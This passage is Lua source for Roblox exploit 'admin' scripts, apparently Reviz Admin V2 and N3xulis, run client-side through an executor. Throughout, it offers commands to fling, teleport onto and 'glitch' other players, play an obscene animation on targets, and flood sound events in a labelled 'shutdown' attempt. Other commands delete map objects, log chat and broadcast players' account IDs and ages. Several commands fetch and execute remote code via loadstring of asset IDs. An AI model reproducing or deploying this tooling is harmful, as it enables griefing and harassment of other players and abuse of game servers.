lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(Vector3.new(-100000,10,-100000))
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("tp me ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("cbring ") then
if (string.sub(CMDBAR.Text, 8)) == "all" or (string.sub(CMDBAR.Text,
8)) == "All" or (string.sub(CMDBAR.Text, 8)) == "ALL" then
cbringall = true
else
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
brplr = v.Name
end
end
cbring = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("uncbring") then
cbring = false
cbringall = false
end
if string.sub(CMDBAR.Text, 1, 5) == ("swap ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
local NOWPLR = game:GetService("Players")
[v.Name].Character.HumanoidRootPart.CFrame
local NOW = lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
tp(lplayer, game:GetService("Players")[v.Name])
wait(0.4)
lplayer.Character.HumanoidRootPart.CFrame = NOWPLR
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("glitch ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.4)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "Glitch"
b.Force = Vector3.new(100000000,5000,0)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack for this command!";
})
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("unglitch") then
lplayer.Character.HumanoidRootPart.Glitch:Destroy()
lplayer.Character.HumanoidRootPart.CFrame = CFrame.new(10000,0,10000)
b = Instance.new("BodyForce")
b.Parent = lplayer.Character.HumanoidRootPart
b.Name = "unGlitch"
b.Force = Vector3.new(0,-5000000,0)
wait(2)
lplayer.Character.HumanoidRootPart.unGlitch:Destroy()
end
if string.sub(CMDBAR.Text, 1, 8) == ("grespawn") then
lplayer.Character.Humanoid.Health = 0
wait(1)
lplayer.Character.Head.CFrame = CFrame.new(1000000,0,1000000)
lplayer.Character.Torso.CFrame = CFrame.new(1000000,0,1000000)
end
if string.sub(CMDBAR.Text, 1, 8) == ("explorer") then
loadstring(game:GetObjects("rbxassetid://492005721")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 5) == ("anim ") then
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://"..(string.sub(CMDBAR.Text, 6))
local track = lplayer.Character.Humanoid:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if string.sub(CMDBAR.Text, 1, 7) == ("animgui") then
loadstring(game:GetObjects("rbxassetid://1202558084")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("savepos") then
saved = lplayer.Character.HumanoidRootPart.CFrame
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved position.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("loadpos") then
lplayer.Character.HumanoidRootPart.CFrame = saved
end
if string.sub(CMDBAR.Text, 1, 5) == ("bang ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
local Anim2 = Instance.new("Animation")
Anim2.AnimationId = "rbxassetid://148840371"
local track2 = lplayer.Character.Humanoid:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("unbang") then
banpl = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("bringmod ") then
local function bringmodw()
for i,obj in ipairs(game:GetService("Workspace"):GetDescendants()) do
if obj.Name == (string.sub(CMDBAR.Text, 10)) then
for i,ch in pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart")) then
ch.CFrame = lplayer.Character.HumanoidRootPart.CFrame
ch.CanCollide = false
ch.Transparency = 0.7
wait()
ch.CFrame = lplayer.Character["Left Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Right Leg"].CFrame
wait()
ch.CFrame = lplayer.Character["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("respawn") then
local mod = Instance.new('Model', workspace) mod.Name = 're
'..lplayer.Name
local hum = Instance.new('Humanoid', mod)
local ins = Instance.new('Part', mod) ins.Name = 'Torso' ins.CanCollide
= false ins.Transparency = 1
lplayer.Character = mod
end
if string.sub(CMDBAR.Text, 1, 8) == ("shutdown") then
game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in pairs(game:GetService'Players':GetPlayers()) do
if v.Character ~= nil and v.Character:FindFirstChild'Head' then
for _,x in pairs(v.Character.Head:GetChildren()) do
if x:IsA'Sound' then x.Playing = true
x.CharacterSoundEvent:FireServer(true, true) end
end
end
end
end)
end)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("delobj ") then
objtodel = (string.sub(CMDBAR.Text, 8))
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v.Name == objtodel then
v:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("getplrs") then
for i,v in pairs(game:GetService("Players"):GetPlayers())do
print(v)
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to console. (F9)";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("deldecal") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if string.sub(CMDBAR.Text, 1, 10) == ("opfinality") then
loadstring(game:GetObjects("rbxassetid://1294358929")[1].Source)()
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("remotes") then
remotes = true
added = true
game.DescendantAdded:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent") then
print("A RemoteEvent was added!")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent")
print(" game." .. rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0,
true)
end end end
end)
game.DescendantAdded:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if rmtfnctn:IsA("RemoteFunction") then
warn("A RemoteFunction was added!")
warn(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." .. rmtfnctn:GetFullName() .. " | RemoteFunction", 5,
102, 198, true)
end end end
end)

game.DescendantAdded:connect(function(bndfnctn)
if added == true then
if binds == true then
if bndfnctn:IsA("BindableFunction") then
print("A BindableFunction was added!")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." .. bndfnctn:GetFullName() .. " | BindableFunction", 239,
247, 4, true)
end end end
end)

game.DescendantAdded:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent") then
warn("A BindableEvent was added!")
warn(" game." .. bnd:GetFullName() .. " | BindableEvent")
print(" game." .. bnd:GetFullName() .. " | BindableEvent", 13, 193, 22,
true)
end end end
end)

if binds == true then


for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableFunction") then
print(" game." .. v:GetFullName() .. " | BindableFunction")
print(" game." .. v:GetFullName() .. " | BindableFunction", 239, 247,
4, true)
end end
for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableEvent") then
warn(" game." .. v:GetFullName() .. " | BindableEvent")
print(" game." .. v:GetFullName() .. " | BindableEvent", 13, 193, 22,
true)
end end
else
print("Off")
end
if remotes == true then
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteFunction") then
warn(" game." .. v:GetFullName() .. " | RemoteFunction")
print(" game." .. v:GetFullName() .. " | RemoteFunction", 5, 102, 198,
true)
end end
wait()
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
print(" game." .. v:GetFullName() .. " | RemoteEvent")
print(" game." .. v:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end
else
print("Off")
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes";
Text = "Type ;noremotes to disable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("noremotes") then
remotes = false
added = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes Disabled";
Text = "Type ;remotes to enable.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("tpdefault") then
spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
cbringing = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("stopsit") then
stopsitting = true
end
if string.sub(CMDBAR.Text, 1, 5) == ("gosit") then
stopsitting = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("version") then
print(adminversion)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Version";
Text = adminversion;
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("clicktp") then
clickgoto = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Press E to teleport to mouse position";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("noclicktp") then
clickgoto = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Click TP has been disabled.";
})
end
if string.sub(CMDBAR.Text, 1, 7) == ("toolson") then
gettingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Enabled";
Text = "Automatically colleting tools dropped.";
})
end
if string.sub(CMDBAR.Text, 1, 8) == ("toolsoff") then
gettingtools = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Disabled";
Text = "Click TP has been disabled.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("delcmdbar") then
ScreenGui:Destroy()
end
if string.sub(CMDBAR.Text, 1, 5) == ("reset") then
lplayer.Character.Head:Destroy()
end
if string.sub(CMDBAR.Text, 1, 6) == ("state ") then
statechosen = string.sub(CMDBAR.Text, 7)
changingstate = true
end
if string.sub(CMDBAR.Text, 1, 8) == ("gravity ") then
game:GetService("Workspace").Gravity = string.sub(CMDBAR.Text, 9)
end
if string.sub(CMDBAR.Text, 1, 9) == ("looprhats") then
removingmeshhats = true
end
if string.sub(CMDBAR.Text, 1, 11) == ("unlooprhats") then
removingmeshhats = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("looprtool") then
removingmeshtool = true
end
if string.sub(CMDBAR.Text, 1, 11) == ("unlooprtool") then
removingmeshtool = false
end
if string.sub(CMDBAR.Text, 1, 9) == ("givetool ") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Character:GetDescendants()) do
if v:IsA("Tool") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 10)))
do
v.Parent = player.Character
end
end
end
end
if string.sub(CMDBAR.Text, 1, 4) == ("age ") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 5))) do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account Age: "..player.AccountAge.." days!", "All")
end
end
if string.sub(CMDBAR.Text, 1, 3) == ("id ") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 4))) do

game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:
FireServer(player.Name.." Account ID: "..player.UserId, "All")
end
end
if string.sub(CMDBAR.Text, 1, 5) == (".age ") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 6))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.AccountAge.." Days";
Text = "Account age of "..player.Name;
})
end
end
if string.sub(CMDBAR.Text, 1, 4) == (".id ") then
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 5))) do
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = player.UserId.." ID";
Text = "Account ID of "..player.Name;
})
end
end
if string.sub(CMDBAR.Text, 1, 6) == ("gameid") then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. game.GameId;
})
end
if string.sub(CMDBAR.Text, 1, 3) == ("pgs") then
local pgscheck = game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if string.sub(CMDBAR.Text, 1, 11) == ("removeinvis") then
for i,v in pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if v.Transparency == 1 then
if v.Name ~= "HumanoidRootPart" then
v:Destroy()
end
end
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("removefog") then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd = 9999999999999
end
if string.sub(CMDBAR.Text, 1, 7) == ("disable") then
lplayer.Character.Humanoid.Parent = lplayer
end
if string.sub(CMDBAR.Text, 1, 6) == ("enable") then
lplayer.Humanoid.Parent = lplayer.Character
end
if string.sub(CMDBAR.Text, 1, 13) == ("givealltools ") then
for i,v in
pairs(game:GetService("Players").LocalPlayer.Backpack:GetDescendants()) do
if v:IsA("Tool") then
v.Parent = lplayer.Character
wait()
for i,player in pairs(GetPlayer(string.sub(CMDBAR.Text, 14)))
do
v.Parent = player.Character
end
end
end
end
if string.sub(CMDBAR.Text, 1, 9) == ("flyspeed ") then
speedfly = string.sub(CMDBAR.Text, 10)
wait()
change()
end
if string.sub(CMDBAR.Text, 1, 7) == ("carpet ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 8))) do
local Anim3 = Instance.new("Animation")
Anim3.AnimationId = "rbxassetid://282574440"
local track3 = lplayer.Character.Humanoid:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = v.Name
banpl = true
end
end
if string.sub(CMDBAR.Text, 1, 8) == ("uncarpet") then
banpl = false
end
if string.sub(CMDBAR.Text, 1, 6) == ("stare ") then
for i,v in pairs(GetPlayer(string.sub(CMDBAR.Text, 7))) do
staring = true
stareplr = v
end
end
if string.sub(CMDBAR.Text, 1, 7) == ("unstare") then
staring = false
end
if string.sub(CMDBAR.Text, 1, 7) == ("logchat") then
chatlogs = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if string.sub(CMDBAR.Text, 1, 9) == ("unlogchat") then
chatlogs = false
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player chat.";
})
end
if string.sub(CMDBAR.Text, 1, 6) == ("fixcam") then
game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)
game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Humanoid
game:GetService("Workspace").CurrentCamera.CameraType = "Custom"
lplayer.CameraMinZoomDistance = 0.5
lplayer.CameraMaxZoomDistance = 400
lplayer.CameraMode = "Classic"
end
if string.sub(CMDBAR.Text, 1, 7) == ("unstate") then
changingstate = false
end
CMDBAR.Text = ""
end
end)

wait(0.3)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loaded successfully!";
Text = "Reviz Admin V2 by illremember";
})
wait(0.1)
print("Reviz Admin V2 loaded!")
if game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled) Consider using a different admin
script.")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider using a different admin script.";
})
end

local intro = Instance.new("ScreenGui")


local Frame = Instance.new("Frame")
local ImageLabel = Instance.new("ImageLabel")
intro.Parent = game:GetService("CoreGui")
Frame.Parent = intro
Frame.BackgroundColor3 = Color3.new(1, 1, 1)
Frame.BackgroundTransparency = 1
Frame.Size = UDim2.new(1, 0, 0, 300)
Frame.Position = UDim2.new(0, 0, -0.4, 0)
ImageLabel.Parent = Frame
ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel.BackgroundTransparency = 1
ImageLabel.Position = UDim2.new(0, 0, 0, 0)
ImageLabel.Size = UDim2.new(1, 0, 1, 0)
ImageLabel.Image = "http://www.roblox.com/asset/?id=1542162618"
Frame:TweenPosition(UDim2.new(0, 0, 0.2, 0), "Out", "Elastic", 3)
wait(3.01)
Frame:TweenPosition(UDim2.new(0, 0, 1.5, 0), "Out", "Elastic", 5)
wait(5.01)
intro:Destroy()
end)

N3xulis.Name = "N3xulis"
N3xulis.Parent = Admin
N3xulis.BackgroundColor3 = Color3.new(0.666667, 0, 0)
N3xulis.Position = UDim2.new(0.536931813, 0, 0.535087705, 0)
N3xulis.Size = UDim2.new(0, 147, 0, 39)
N3xulis.Font = Enum.Font.Cartoon
N3xulis.Text = "N3xulis"
N3xulis.TextColor3 = Color3.new(0, 0, 0)
N3xulis.TextScaled = true
N3xulis.TextSize = 14
N3xulis.TextWrapped = true
N3xulis.MouseButton1Down:connect(function()
-- __ __ ___
--/\ \/\ \ /\_ \ __
--\ \ `\\ \ __ __ _ __ __\//\ \ /\_\ ____
-- \ \ , ` \ /'__`\/\ \/'\/\ \/\ \ \ \ \ \/\ \ /',__\
-- \ \ \`\ \/\ __/\/> </\ \ \_\ \ \_\ \_\ \ \/\__, `\
-- \ \_\ \_\ \____\/\_/\_\\ \____/ /\____\\ \_\/\____/
-- \/_/\/_/\/____/\//\/_/ \/___/ \/____/ \/_/\/___/
--------------------------Version Beta--------------------------
---------------------------------------------------------------
---------------------------N3xul---------------------------
---------------------------------------------------------------

local gCoreGui = game:GetService('CoreGui')


local gPlayers = game:GetService('Players')
local gLighting = game:GetService('Lighting')
local gWorkspace = game:GetService('Workspace')
local Player = game.Players.LocalPlayer
local Mouse = Player:GetMouse()
local char = Player.Character
local LP = gPlayers.LocalPlayer
local MOUSE = LP:GetMouse()

local gPlayers = game:GetService("Players")


local admin = gPlayers.LocalPlayer.Name

local services={}
local cmds={}
local std={}
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness,
time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe =
game.Lighting.FogEnd, fs = game.Lighting.FogStart}
function FIND_CHILD(PATH, NAME) if PATH:FindFirstChild(NAME) then return true end
return false end

local Version = '1.9'

wait(0.1)

services.players=gPlayers
services.lighting=game:GetService('Lighting')
services.workspace=game:GetService('Workspace')
services.events = {}
local user = gPlayers.LocalPlayer
local gCoreGui = game:GetService('CoreGui')
local gPlayers = game:GetService('Players')
local gLighting = game:GetService('Lighting')
local gWorkspace = game:GetService('Workspace')

local cmdprefix=';'
local scriptprefix='\\'
local split=" "

-------------------------
-----Ban information-----
-------------------------

local BanFolder = Instance.new("Fire", game.ContextActionService)


BanFolder.Name = "BanList"
BanFolder.RobloxLocked = true
_G.Banned = function(Ban)
local SValue = Instance.new("StringValue", BanFolder)
SValue.Value = Ban
SValue.RobloxLocked = true
end

BannedPlayers = {
'norma832', -- oh my god leave me alone
'LordCrazy13' -- u are just annoying
}

------------------------
-------Admin Data-------
------------------------

local AdminFolder = Instance.new("Folder", game.ContextActionService)


AdminFolder.Name = "AdminList"
AdminFolder.RobloxLocked = true
_G.Admin = function(Admin)
local SValue = Instance.new("StringValue", AdminFolder)
SValue.Value = Admin
SValue.RobloxLocked = true
end

------------------------
-----Defines Admins-----
------------------------

local admins = {
'DontAddAnything(MakesItBug)',
}

-------------------------------------------
---Commands that show up in the CMD list---
-------------------------------------------

CMDs = {
'1. ff player',
'2. unff player',
'3. fire player',
'4. unfire player',
'5. sparkles player',
'6. unsparkles player',
'7. smoke player',
'8. unsmoke player',
'9. btools player',
'10. god player',
'11. sgod player',
'12. ungod player',
'13. heal player',
'14. freeze player',
'15. thaw player',
'16. kill player',
'17. sound',
'18. volume',
'19. pitch',
'20. explode player',
'21. invisible player',
'22. visible player',
'23. goto player',
'24. bring player',
'25. tp player',
'26. char player',
'27. speed player',
'28. time',
'29. kick player',
'30. ban player',
'31. unlockws',
'32. unanchorws',
'33. hat player',
'34. gear player',
'35. m "message"',
'36. skick player',
'37. admin player',
'38. unadmin player',
'39. firstp player',
'40. thirdp player',
'41. chat player',
'42. insert',
'43. name player',
'44. unname player',
'45. stun player',
'46. unstun player',
'47. sit player',
'48. guest player',
'49. damage player',
'50. view player',
'51. unview player',
'52. nolimbs player',
'53. box player 1012',
'54. nobox player',
'55. ghost player',
'56. sphere player',
'57. loadmap',
'58. sky',
'59. ambient',
'60. gui',
'61. jail player',
'62. unjail player',
'63. shutdown',
'64. animation player',
'65. normal player',
'66. creeper player',
'67. uncreeper player',
'68. shrek player',
'69. unshrek player',
'70. spam',
'71. nospam',
'72. control player',
'73. nuke player',
'74. infect player',
'75. uninfect player',
'76. duck player',
'77. unduck player',
'78. disable player',
'79. enable player',
'80. size player',
'81. confuse player',
'82. unconfuse player',
'83. clone player',
'84. spin player',
'85. unspin player',
'86. dog player',
'87. undog player',
'88. tptool',
'89. loopsit player',
'90. unloopsit player',
'91. loopjump player',
'92. unloopjump player',
'93. loopheal player',
'94. unloopheal player',
'95. fling player',
'96. ayylmao player',
'97. nograv player',
'98. grav player',
'99. seizure player',
'100. unseizure player',
'101. cape 1012',
'102. uncape',
'103. paper player',
'104. punish player',
'105. unpunish player',
'106. disco',
'107. undisco',
'108. lockws',
'109. base',
'110. fix',
'111. flood',
'112. spookyify',
'113. explorer (Possible crash)',
'114. decalspam ID',
'115. wtrbtools',
'116. respawn',
'117. lightsaber',
'118. draw',
'119. devuzi',
'- float player',
'- unfloat player',
'- noclip',
'- clip',
'- prefix <string>',
'- admins',
'- bans',
'- cmds',
'- version'
}

-------
--Lib--
-------

updateevents=function()
for i,v in pairs(services.events) do services.events:remove(i) v:disconnect()
end
for i,v in pairs(gPlayers:players())do
local ev = v.Chatted:connect(function(msg) do_exec(msg,v) end)
services.events[#services.events+1] = ev
end
end

std.inTable=function(tbl,val)
if tbl==nil then return false end

for _,v in pairs(tbl)do


if v==val then return true end
end
return false
end

std.out=function(str)
print(str)
end

std.list=function(tbl)
local str=''
for i,v in pairs(tbl)do
str=str..tostring(v)
if i~=#tbl then str=str..', ' end
end
return str
end

std.endat=function(str,val)
local z=str:find(val)
if z then
return str:sub(0,z-string.len(val)),true
else
return str,false
end
end

std.first=function(str) return str:sub(1,1) end

isAdmin=function(name)
if name==admin then
return true
elseif admins[name]==true then
return true
end
return false
end

local exec=function(str)
spawn(function()
local script, loaderr = loadstring(str)
if not script then
error(loaderr)
else
script()
end
end)
end

local findCmd=function(cmd_name)
for i,v in pairs(cmds)do
if v.NAME:lower()==cmd_name:lower() or
std.inTable(v.ALIAS,cmd_name:lower())then
return v
end
end
end

local getCmd=function(msg)
local cmd,hassplit=std.endat(msg:lower(),split)
if hassplit then
return {cmd,true}
else
return {cmd,false}
end
end

local getprfx=function(strn)
if strn:sub(1,string.len(cmdprefix))==cmdprefix then
return{'cmd',string.len(cmdprefix)+1}
elseif strn:sub(1,string.len(scriptprefix))==scriptprefix then
return{'exec',string.len(scriptprefix)+1}
end return
end

local getArgs=function(str)
local args={}
local new_arg=nil
local hassplit=nil
local s=str
repeat
new_arg,hassplit=std.endat(s:lower(),split)
if new_arg~='' then
args[#args+1]=new_arg
s=s:sub(string.len(new_arg)+string.len(split)+1)
end
until hassplit==false
return args
end

local function execCmd(str, plr)


local s_cmd
local a
local cmd
s_cmd = getCmd(str)
cmd = findCmd(s_cmd[1])
if cmd == nil then return end
a = str:sub(string.len(s_cmd[1]) + string.len(split) + 1)
local args=getArgs(a)

pcall(function()
cmd.FUNC(args, plr)
end)
end

function do_exec(str,plr)
if not isAdmin(plr.Name)then return end

str=str:gsub('/e ','')

local t=getprfx(str)
if t==nil then return end
str=str:sub(t[2])
if t[1]=='exec' then
exec(str)
elseif t[1]=='cmd' then
execCmd(str, plr)
end
end

updateevents()
_G.exec_cmd = execCmd
--game.Players.LocalPlayer.Chatted:connect(doexec)

local _char=function(plr_name)
for i,v in pairs(game.Players:GetChildren())do
if v:IsA'Player'then
if v.Name==plr_name then return v.Character end
end
end
return
end

local _plr=function(plr_name)
for i,v in pairs(game.Players:GetChildren())do
if v:IsA'Player'then
if v.Name==plr_name then return v end
end
end
return
end

function addcmd(name,desc,alias,func)
cmds[#cmds+1]=
{
NAME=name;
DESC=desc;
ALIAS=alias;
FUNC=func;
}
end

local function getPlayer(name)


local nameTable = {}
name=name:lower()
if name == "me" then
nameTable[#nameTable+1]=admin
elseif name == "others" then
for i,v in pairs(gPlayers:GetChildren()) do
if v:IsA'Player'then
if v.Name~=admin then
nameTable[#nameTable+1]=v.Name
end
end
end
elseif name == "all" then
for i,v in pairs(gPlayers:GetChildren()) do
if v:IsA'Player'then
nameTable[#nameTable+1]=v.Name
end
end
else
for i,v in pairs(gPlayers:GetChildren()) do
local lname = v.Name:lower()
local i,j = lname:find(name)
if i == 1 then
return {v.Name}
end
end
end
return nameTable
end

---------------
---Cape Info---
---------------

local capeColor = 1012

function Cape(playerCaped)

if playerCaped.Character:FindFirstChild("Cape") ~= nil then


playerCaped.Character.Cape:Destroy()
end

repeat
wait()
until playerCaped and playerCaped.Character and
playerCaped.Character:FindFirstChild("Torso")
local Torso = playerCaped.Character.Torso

local Cape = Instance.new("Part", Torso.Parent)


Cape.Name = "Cape"
Cape.Anchored = false
Cape.CanCollide = false
Cape.TopSurface = 0
Cape.BottomSurface = 0
Cape.BrickColor = BrickColor.new("" .. capeColor)
Cape.Material = "Neon"
Cape.formFactor = "Custom"
Cape.Size = Vector3.new(0.2,0.2,0.2)

local msh = Instance.new("BlockMesh", Cape)


msh.Scale = Vector3.new(9,17.5,.5)

local motor1 = Instance.new("Motor", Cape)


motor1.Part0 = Cape
motor1.Part1 = Torso

motor1.MaxVelocity = 1
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)

local wave = false

repeat wait(1/44)
local ang = 0.2
local oldmag = Torso.Velocity.magnitude
local mv = .1

if wave then
ang = ang + ((Torso.Velocity.magnitude/10) * .05) + 1
wave = false
else
wave = false
end
ang = ang + math.min(Torso.Velocity.magnitude/30, 1)
motor1.MaxVelocity = math.min((Torso.Velocity.magnitude/10), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle < -.05 and motor1.DesiredAngle > -.05 then
motor1.MaxVelocity = .04
end
repeat
wait()
until
motor1.CurrentAngle == motor1.DesiredAngle or math.abs(Torso.Velocity.magnitude -
oldmag) >= (Torso.Velocity.magnitude/10) + 1
if Torso.Velocity.magnitude < .1 then
wait(.1)
end
until not Cape or Cape.Parent ~= Torso.Parent
end

game.Lighting.Outlines = false -- outlines look ugly

----------------
----Commands----
----------------

addcmd('ff','gives ff to player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar=_char(v)
Instance.new("ForceField", pchar)
end
end)
